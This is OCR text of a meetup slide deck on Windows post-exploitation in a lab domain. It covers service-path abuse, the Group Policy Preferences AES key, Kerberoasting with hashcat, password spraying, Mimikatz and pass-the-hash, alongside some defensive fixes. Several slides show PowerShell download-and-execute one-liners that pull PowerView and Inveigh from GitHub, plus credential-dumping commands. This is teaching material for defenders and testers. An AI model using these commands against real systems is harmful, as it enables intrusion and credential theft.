EICIINROSEC

IMPROVING CYBER OFFENSE AND I

WELCOME!
1) Grab a drink!
2) Mingle!

3) Starts at 6:30!




EICYINEOSEC

IMPROVING CYBER OFFENSE AND DEFENSE

Thanks for coming!



WINDOWS POST
EXPLOITATION
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About Me / Housekeeping

- Samuel Gibson

- Penetration tester

- Former security administrator

- Masters in Information Assurance and Computer Security
- CISSP

- Lots of experience in the PCI space, but many verticals

- My opinions are my own and do not represent my
employer

- Talk is educational — Hacking networks without written
permission is illegal last | checked



L
What to Expect

- What this presentation is not about
- Exploits
- “L337 haxoring”
- Finding sensitive data

-What is it about then?
- Privilege escalation after initial compromise
- Abusing configurations and features
- Establishing baselines for attacker capabilities

- Assumptions
- Some initial internal system compromised
- The tools used are demonstrative — not the only means



L
Exploits are Cool, but Risky

- Last option
- Might get flagged by anti-virus

- Alert target organization
- Impact system stability

- Better to blend in
- Use existing credentials

- Many companies trust their users
- Attackers can make an unsuspecting user a malicious insider



FLOW OF TALK
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Flow of Talk

- Attackers have goals (i.e. data theft)
- Attackers usually need to escalate and pivot

- Gather credentials that allow access to more
resources and accomplish the goal

- Local user access (Initial Access)
- Local admin access (Admin Access)
- Domain admin access (Domain Admin Access)



D
Details About the REDLAB Network

DC1
Active Directory
Domain Controller

WIN7ADMIN
Admin workstation

L

FILESRV
File Share
SQL Server

WIN7USER
D User’'s workstation
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Important REDLAB User Accounts

- REDLAB\Administrator — Built-in Domain Admin
- Can access anything
- REDLAB\Aadmin — Alice Admin — Domain Admin

- Can access anything
- In use on WIN7ADMIN

- REDLAB\Tuser — Tim User — Domain Users

- Standard Domain Users member
- In use on WIN7USER

- REDLAB\SQLService — Important SQL Account — Domain
Admin

- SQL Server service account
- Domain Admins member (can access anything)
- In use on FILESRV



Note on Privilege Escalation

- Privilege escalation involves gaining additional privileges
to gain access to additional resources

- Credential harvesting (accounts and/or passwords)
- Stored passwords
- Shared passwords

- Easily guessed passwords

- Password-spraying attacks
- Password reuse

- Paths

- Local privilege escalation (Get SYSTEM, Get sensitive creds)
- Network privilege escalation (Find path to data or SYSTEM)



INITIALACCESS

WIN7USER: Non-admin



Initial Recon

- Situational awareness

- Examine local system
- Sensitive information (goal)
- Privileges (current access)
- Credentials (potential rights of compromised account)

- Examine network to enable pivoting to other systems
- Share access

- Printers
- Active Directory



e E
Current rights (WIN7USER)

- Whoami
- Net user
- Net localgroup administrators

tslsersstuseruhoami
edlabstusepr

ssUsersstuser



Local Escalation

- Lots of options

- Unattended install file C:\Windows\Panther\Unattend.xml

- Automatic logon

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon

- Always install elevated

- Web.config strings

- Config files

- Modifiable schtask files

- Unquoted service paths

- DLL highjacking

- Group Policy Preferences



UNQUOTED SERVICE
PATHS

File Permission-based Privilege Escalation



Unquoted Service Paths

- Issue when there is a space in a file path and the attacker can write to

the appropriate directory.

General | Log Unl Recoveryl Dependencies|

Service name:  YMware Physical Disk Helper Service

Display name: Yhware Physical Disk Helper Service

Enables support for running virtual machines froma | A |

Description: : : b
i physical disk partition

v |

Path to executable:
"C:\Program Files\WMware\VMware Tools\vmacthlp.exe"

Startup type: Automatic

Service status:  Running

Start ‘ | Stop I | Pause l [ Resume ’

You can specify the start parameters that apply when you start the service
from here.

Start parameters:

General ILog On | Recovery | Dependencies |

Service name: RealteklISB
Display name: RealtekUSE
Description: A

Startup type:

|Automatic v I

Service status:  Running

I Start l I Stop | | Pause | | Resume l

You can specify the start parameters that apply when you start the service
from here.

Start parameters: I ]

oK || Cancel H

| oK || Cancel II Apply |
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Potential Paths to Write EXE

- C:\Program.exe
- C:\Program Files (x86)\REALTEK\USB.exe

This will throw an error on reboot or when service is reloaded,
but can run it.

Known since 2012 and not fixed. Best practices state that
developers should wrap service paths in quotes (Help Eliminate

Unquoted Path Vulnerabilities)

Standard users can’t write to C:\ or C:\Program Files in most
cases...



File Permissions

Permissions differ between built-in directories in C:\ and

those created after install (DLL highjacking similar)

o
@Uv‘ 1. » Computer » Local Disk (C:) » Third »

Organize v « Open Include in library » Share with
¢ Favorites Hme
BE Desktop . Party Program

(g

| . Program Files Properties

| General | Sharing | Securty | Previous Versions
Object name:  C:\Program Files

Group or user names:

To change pemissions, click Edit.

Pemissions for Users

Full control

W |3 Pary Program Pragesse

General | Sharing | Security | Previous Versions | Customize
Object name:  C:\Third\Party Program

GI'OUD Or user names:

82, Administrators (WIN7ADMIN\Administrators)
82, Users (WIN7ADMIN\Users)

To change pemissions, click Edit.
Pemissions for Authenticated

Read & execute

List folder contents
Read
Write

For special permissions or advanced settings,
click Advanced.

Leam about access control and pemissions

|

oK ][ Cancel ][ Aopy




GROUP POLICY
PREFERENCES

Examining Network Resources



Group Policy Preferences

- Historically used to set local admin user’s password via
GPO. Password is encrypted in GPO

- Microsoft published the hardcoded password back before

2012
(https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4

c/4-8b70-1f2fa45dd4be.aspx)

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3>

The 32-byte AES key is as follows:

4e 99 06 e8 fc b6 6c c9 £fa f4 93 10 62 0f fe e8
£f4 96 eB8 06 cc 05 79 90 20 9b 09 a4 33 b6 6¢c 1b
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Microsoft Patched in 2014

- MS14-025
(https://support.microsoft.com/en-us/help/2962486/ms14-
025-vulnerability-in-group-policy-preferences-could-allow-
elevate)

- This will prevent admins from setting passwords using the
old GPO settings

- It does not remove the old passwords from the GPO

- Consider Local Admin Password Solution

- Allows a single account to exist across an environment with unique
passwords per endpoint

- Stores passwords in plain text in AD computer object
- You can delegate the access and log it
- This is still a win for defenders




Powerup.ps

- Part of PowerSploit
- Does the checks we just discussed and more quickly

- Consider running against corporate images prior to
deploying

ﬁ' Command Prompt“-—p,qwershell.exe -ep bypass
PS C:\Users~tuser> Invoke-f l.iéhécks_




FINDING ADMIN ON
OTHER SYSTEMS

Finding Shares Using Current Credentials
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Eventually Look to Other Hosts

- Can’t escalate locally or need to find target data
- Search for shares (Powerview’s ShareFinder)

- Might be able to read sensitive files (unattended install,
KeePass databases, SYSVOL share, etc)

ﬁc mmandPompt powershellex -epbypass ,t qv L= | B -S|

S C: \U ers\tuser> (Ne w—ObJ ct Net.WehClient>.DownloadStri ng("https://rav.github .
ercontent.com/PoverShellMaf ia/PowverSploit/master/Recon/PoverView.ps1"> | IER -
PS C: \U ers \tu er> Ea




Find-LocalAdminAccess
L ———

E Command Prompt - powershell exe -€p bypass o wil

S C:\Users\tuser> HOSTNAME.EXE

INZ7USER
S C:\Users\tuser> Find-LocalAdminAccess

ILESRU .r»edlab.local
S C:\Users\tuser>

CislserssAdministrator*hostname .exe
FILESRU

ssUsers~Administrator>net localgroup administrators
Alias name administrators

Administratopr
REDLAB~Domain Admins

REDLAB“~Domain Users
The command completed succeéssfully.




WRITE PERMISSIONS ON
SHARES




Coaxing Hashes out of Users

- If you have write access to a share, a malicious .Ink can
gather hashes from users who access that share

- Can make the path an internal system or one on the
Internet in some cases (We'll circle back to this)

|1 » ThisPC » Local Disk(C) » Share » morefiles v ¢
MName - Date modified Type
1 7 sneakyLink.Ink 1/21/2018 1:33 PM Shortcut
cads
places Ll sneakyLink.Ink Properties Iil
Colors | Security I Details I Previous Versions

@j sneakyLink Ink

Options I Fort

| Layout

/1. B Windows can't find the file \\192.168.37.2004share\image.

Shorteut key: | None




CHECK NETWORK
DEVICES

Printers or Other Systems with Default Credentials
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Check Printers for Default

Passwords

- Printers often have default admin credentials

- MFPs have ability to scan to share over SMB
- Domain user creds (Enumerate further info)
- Domain Admin creds (Keys to kingdom)

- Other systems might have service accounts



KERBEROASTING

Still as a Regular User
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Windows Hashes (Stored)

- LM (Passable)
- local account creds
- AD DC password storage
- Old and quite insecure

-NTLM (Passable)

- Local account creds
- AD DC Password storage
- Newer, better, unsalted

chad:500:aad3b435b51404eeaad3b435b51404ee:ed50bdc9faal3?
Oe31ac4ee119fd51f48:::

Domain Computers have local user NTLM hashes
Domain Controllers have all domain user NTLM hashes



Kerberos (Oversimplified)

- Centralized user authentication that relies on a centralized
infrastructure for authentication

- Does not send password over network

- User accounts request service tickets from Key
Distribution Center (KDC) by requesting a Ticket-Granting
Ticket (TGT)

- TGT contains response encrypted with the user
account’s NTLM password hash!!!

- User decrypts the TGT and uses that value to prove its
identity and gets a ticket to authenticate to the target
resource
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SQL Server Express on FILESRV

- Service Principal Name (SPN) in Active Directory

General | Log On | Recovery I Dependencies
Log on as

() Local System account
[ Allow service to infemact with desldon

ok |[ Ganed || ooy |




Important SQLService Account Details

- SamAccountName . sqlservice

- DistinguishedName : CN=Important
SQLService,CN=Users,DC=redlab,DC=local

- ServicePrincipalName :
MSSQLSvc/FILESRV.redlab.local:SQLEXPRESS

- SPNs uniquely identify service accounts in AD and can
associated a service instance to its logon account even if
a client does not know the account name
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Attacking Kerberos

- Attacking Kerberos: Kicking the Guard Dog of Hades

- It's possible to request a Ticket Granting Ticket (TGT) for
any service account from the Key Distribution Center
(KDC) *Domain Controller*

- A portion of the TGT is encrypted with NTLM hash of the
target service account’s password

- If you can guess the plaintext password that creates the
NTLM hash that decrypts the TGT, you've discovered the
target service account’s password

- This used to require local admin rights, but no longer
does. (Kerberoasting without Mimikatz)




L
Kerberoasting Attack

BE¥ Command Prompt - powershell.exe -ep bypass ‘....!!:‘..I!i h!E!hEEﬂII:’II
e rev — -

S C:\Users\tuser> vhoami -
edlab\tuser

n S C:\Users\tuser> _

|

|
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Crack Kerberos TGT

root@kali: ~/presentation e 0 0

File Edit View Search Terminal Help

17A642CC81312684048D7C6ED35EF50595D034F34304D59B618FEA6706EB4263436E1C4D884B53130 *
917999BD3g72ED373555CE858290FES572E83FA7ABE62C1BD5FC82461F10852D929291B148B16A9%4
176E20F37DFDAF3BCCOFF56701C5E84AADO31F2B47Cg30709865866C02121F97FF2543307781F1BE
EC7B6AB48AD7D1852FFFg8D379A1B7BA96AEL1316400559F391D9059F67B1E099C26712E140D6Dg4E

9CF186DOB91D5236FBO38A122819DC9288FFBD6C2C7BECCFgPEBC4419D96FOFB6602875B4F
MGBEOIEBFDABZSFSBABC?107A59F589A316ADBE658253959E970064E6CC99[)2FBBBF64B3BDE
BFC667739g582485B86FCAB33D3C169D54922965519524B162443C7BD8373FBDOFg6F174734E99DCE
EDC225FF340CA458C393011E57B19AEC49DBBODO79g0AD32520B88ABBAD9BC54E484F544A15A06FA
29C2C24DABFEB5D7AD2gCEFG677807144D4D23D709158DB04B4B54B25F42C392DD4627B30BFBFgO1D
95C5667C4B01BO4CFBBF2A2505EEEEC125E1674EBB115831DA15Ag8DO656FCES91FBEFEOA4510EDEGRT
SBCBHEF793CDIBBIQSBBBBGBC3AAEDg4EZSBBBGTGCF1BkD5CESDBE6A796C1634E2ABF1880E98E759
41447E8gBD9247FF4DER223F4F3BC4AAB094EBCAD223934C0OE49F43823850F9FgE7VDEDOFATB23FD2
BCEAG436E28C1609695F3ACAS6BFOA45EDIB1O8BACgCE8538DFFDACIG66FO4EAASPE3RS5776B61539508
F14CES8C6CEEBDABF7CgFF66780A53BEF3F83DCFF28261F23F25EECBAASB43AD7APEOFOFSESBDg3D8D
ABF13481EOD518ECO9BOECB359AABEOIESB1C6D67EEG24EAFCBF13gl17ACC444EAZFCDBO99ECBABEB9698
27C8604F777ABEDOASS141EO098FALQEEF4AST775D28CD9B763FA361DAFFELS8134B607FO9F99117047F
CO9F290g9CF4C7AEBBBDB77296F04E93E9C870D5206DC4810B3B6A448A12A41FgDF29C38D3790EBCY
1BBB343AF80AFB1E4A966D251A7DCO14C311AT729g2CT76237F4801C969235AF94EAZB25509B466994
SCBEFA87FF27169E3gA350ACD5666B6CO41E63A90070B1AFB259BCATFC3183F3497CA6D3F7gD5C51
4E1AT727358E3BE41F84201306D055DO3E348651079ECTASC42Cg030B7EOGFEOABCF634CEESB4A3438
98187269A64984657FBEECBOO58DgF459CA28F1FD78165BAE450298ED7H6A1039BA3ACT399958881D
A482DglOC1C341D653EFD37CDALCG627D94C98616EGES09F4624C72EOD8B85C5Ag
root@kali:~/presentation# hashcat -a © -m 13100 --force --outfile kerberos.crack
ed sglservice.tgt passwords.txt I




PASSWORD SPRAYING




Get a List of Domain Users

- Any authenticated user can pull a list of all domain users

- This list of users can be used in password spraying
attacks

— —n e ————————— hc:,k[j,ﬂ!gg!!
Command Prompt - powershell.exe -ep bypass = o > & ER=

PS C:\Users\tuser> net user /domain -
he request will be processed at a do oller for domain redlah.local. F;

ser accounts for \\DCl.redlah.local

Abhothent Administrator
Andelibubled Dident

Floody Guest

krbtgt Manto1934
Quiening1961 Rearclume
sglservice Strans
Trion1998 tuser
Whostravion WYhould

Youghter
he command completed successfully.

PS C:\Users\tuser>




Password Spray

- Attempt a single password against all known accounts
- Helps prevent account lockout if attackers are careful

e W e W e r W e wr

nsf5 auxiliary(scanner/smb/smb_login) > run

[*] 192.
[+] 192.
[*] 192.
[-]1 192.
[-]1 192.
[-]1 192.

168.
168.
168.
168.
168.
168.

37 .
37.
37 .
37.
37 .
37.

10:
10:
10:
10:

10
10

445
445
445
445

: 445
: 445

192.
192.
192.
192.
192.
192.

168.
168.
168.
168.
168.
168.

37.
37.
37.
37.
37.
37.

10:
10:
10:
10:
10:
10:

445
445
445
445
445
445

Starting SMB login bruteforce
Success: 'REDLAB\aadmin:Winter2018' Administrator
Domain is ignored for user aadmin

Failed: 'REDLAB\Abothent:Winterz018',
Failed: 'REDLAB\Administrator:Winterz2el8',
Failed: 'REDLAB\Alresl978:Winterz2018',

Continue this cycle with each new set of creds



ADMIN ACCESS

Further Local Attack Opportunities



Extract KeePass Keys

- KeePass is a popular password database
- Shared between users

- With admin rights, it's possible to scrape the keyPass
process memory and recover the plaintext master
password (https://qgithub.com/HarmJOy/KeeThief)




KeeP

Administrator: C:\Windows\System32\cmd.exe - powershell.exe -ep bypass
PS C:\Windows\system32> _

ass Extraction Demo

= WO >

@ AdminKeePass.kdbx - KeePass
File Edit View Tools Help
| & o | <8~ ) & @

| AdminKeePass | Title User Name

.t,," Gene 2 Localadmin Chad

A Windows ’ ;
= &~ Important... sqlservice
/) Network 91 iy s

— mportant... s

€9 Internet P imp

=\ eMail

Homebanking

:3 Recycle Bin

Password
SO—
PU—-

ERERREIE

URL

Notes

0 of 3 selected Ready:.



NETWORK-BASED
ATTACKS

LLMNR, NETBIOS, and WPAD



Attacking LLMNR, NETBIOS and
WPAD

Kevin Bryant and Travis Robelia presented on Responder
in their talk Your Systems are Just Asking to be
Compromised

Inveigh allows the same thing from Windows via
PowerShell, though you can give it some help with a .Ink

.1 ZA L A I1-T1 R _A_l . | - : \ .
Administrator: Command Prompt - powershell.exe -executionpoli 5

‘."-A | | 1 /
@\jv . » Network » filesrv » Share2 »

C:\Windows\system32>powershell.exe —executionpolicy bypass
l/indows PowerShell
Copyright (C)> 2889 Microsoft Corporation. All rights reserved.

Organize ¥ ; Open New folder
PS C:\Windows\system32> (New-Object Net.WebClient).DownloadString("https://rauv.g
lithubusercontent .com/Kevin—Robertson/Inveigh/master/Scripts/Inveigh.ps1")> | IEX ] e Name
B Desktop more files
4 Downloads | details about merger
| Recent Places | grievances

__| important files
3 Libraries
| Documents
, Music

k| Pictures

¥ videos



LOCAL ADMIN CAN DUMP
LOCAL CREDENTIALS
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Metasploit Simplifies This

- | personally use Metasploit with credentials more than |
use it to exploit things
- Password spraying
- Credential management

- Dumping credentials
- Mimkatz
- Hashdump
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Mimikatz (on Win7Admin)

- Windows systems prior to 8.1 and Server 2012 stored
plaintext passwords in memory to support single sign-on

- Mimikatz can dump plaintext WDigest credentials from
memory

meterpreter > creds wdigest

[+] Running as SYSTEM

[#] Retrieving wdigest credentials
wdigest credentials

Username Domain Password

(null) (null) (null)
WIN?ADMIH$ REDLAB (@:0U]- 3n40$F]AgCR bA“Fva“4n93Alt0Tpu19 aq3]Si;i/z?h(R3\) xS
' H34AnbH=/-Y"$P[ "dBIw:%7ET>/cU oy

admln REDLAB W1nter2918
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The WDigest Issue is Patched

- Server 2012 and Windows 8.1 and newer OS are not
vulnerable by default

- https://support.microsoft.com/en-us/help/2871997/microso
ft-security-advisory-update-to-improve-credentials-protecti
on-a patches Windows 7 and Server 2008

- It's possible to set this registry key to ‘1’ to revert behavior
for backwards compatibility.

- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Se
curityProviders\WDigest\UseLogonCredential




L
Consider Setting that Key to ‘0’

- Create that key and monitor it for changes

reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProvide

rs\WDigest /v UseLogonCredential /t REG _DWORD /d 0



DOMAIN ADMIN

Hashes and Pivots



Can use AD Admin Account to Dump
Domain Hashes

root@kali: /opt/metasploit-framework @ ® 0

File Edit View Search Terminal Help
msf5 auxiliary(admin/smb/psexec_command) > I =




Hashes Can Be Cracked or Passed

- Attackers can pass those hashes to the SMB service to
authenticate as the user, without cracking
- Many tools do this

- Cracking the hashes allows authentication against
services that do not allow pass-the-hash

- Cracking also allows further password guessing/mangling
- Passing is worth discussing
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Pass the Hash

msf5 auxiliary(scanner/smb/smb_Llogin) > []
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Pass the Hash

- Only works for members of the local Administrators group

- Can be mitigated to some extent by
- Deploying Microsoft LAPS
- Deny Access to this Computer from the Network




WRAP UP




Lots of Content

- Survey of methods of escalating privileges and gathering
credentials available to all levels of attacker

- Attacks start from some point and move in an opportunistic
manner

- One path might have been as follows
- Start with limited access as the TUser account.
- Conduct Kerberoast attack to crack SQLService account’s password
- Dump hashes from Domain Controller

- The goal of attacks isn’t to get Domain Admin, but to
accomplish some goal (DA might not be necessary)
- Steal data, make money, etc



Questions?

- | work for a company called Sikich LLP
- Pentesting / QSA / Forensics
- samuel[dot]gibson[at]sikich[dot]Jcom

- Feel free to email me with general questions
samuel[at]surgicalmittens.com

- I'm often in the ECInfosec Slack channel



EICYINEOSEC

IMPROVING CYBER OFFENSE AND DEFENSE

Next Months MeetUp:
Monday March 5"

(Speaker Matt Miller)



(R[5, [ TR S —

IMPROVING CYBER OFFENSE AND DEFENSE

Recordings on website:

Past Events:

December 19th, 2017

Presentation: "IDS and IPS With Bro and Suricata" by Ben Ulwelling and Travis Robelia

» Download Slides Here
e Video Recording Here

“IDS/IPS Wi and Suricata"
8 B:ﬁlhg

Travis Robeia l

| g CinfoSec.com

November 14th, 2017

Presentation: "Your Systems Are Just Asking To Get Compromised" by Kevin Bryant & Travis Robelia

o Download Slides Here
e Video Recording Here

How name resolution works
User: Requests Resource. z
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Donations and company
sponsorships are welcome to
help grow EC InfoSec!
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ECYINEOSEC

IMPROVING CYBER OFFENSE AND DEFENSE

Contact us!
On MeetUp.com
admin@ECInfoSec.com



EICYINEOSEC

IMPROVING CYBER OFFENSE AND DEFENSE

Chat with each other on Slack!

Join Link On Website:
ECInfoSec.com
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IMPROVING CYBER OFFENSE AND DEFENSE

Raise your hand if you would be
willing to present a topic
in April or May!



EICYINEOSEC

IMPROVING CYBER OFFENSE AND DEFENSE

Please fill out and hand
in the survey!
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